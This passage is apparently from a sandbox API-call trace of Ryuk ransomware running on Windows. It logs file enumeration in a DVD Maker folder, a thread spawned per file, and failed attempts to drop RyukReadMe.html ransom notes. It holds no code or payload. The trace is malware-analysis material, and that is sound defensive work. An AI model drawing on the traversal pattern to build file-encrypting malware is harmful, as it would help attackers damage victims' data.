	[0227.614] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1
	[0227.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40
	[0227.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.617] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x76, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1
	[0227.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44
	[0227.742] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.742] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0227.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48
	[0227.744] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.745] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1
	[0227.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c
	[0227.747] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.747] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x76, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1
	[0227.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50
	[0227.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.750] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1
	[0227.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54
	[0227.753] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.753] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0227.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58
	[0227.755] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.756] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x76, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1
	[0227.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc5c
	[0227.758] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.759] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x76, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0227.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60
	[0227.761] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.762] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1
	[0227.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64
	[0227.764] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.764] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1
	[0227.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68
	[0227.767] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.767] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1
	[0227.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc6c
	[0227.770] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.771] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1
	[0227.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70
	[0227.773] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.774] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1
	[0227.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74
	[0227.893] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.894] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1
	[0227.894] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78
	[0227.897] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.897] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x76, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1
	[0227.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc7c
	[0227.900] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.901] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1
	[0227.901] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80
	[0227.903] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.903] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0
	[0227.904] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0228.360] SetLastError (dwErrCode=0x0) 
	[0228.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.368] GetLastError () returned 0x5
	[0228.368] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0228.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.368] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1
	[0228.368] SetLastError (dwErrCode=0x0) 
	[0228.368] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.369] GetLastError () returned 0x5
	[0228.369] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0228.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0228.446] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0228.446] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0228.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84
	[0228.449] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.449] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0228.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88
	[0228.452] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.452] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0228.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c
	[0228.455] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.455] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0228.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90
	[0228.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.458] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1
	[0228.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94
	[0228.460] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.461] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1
	[0228.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
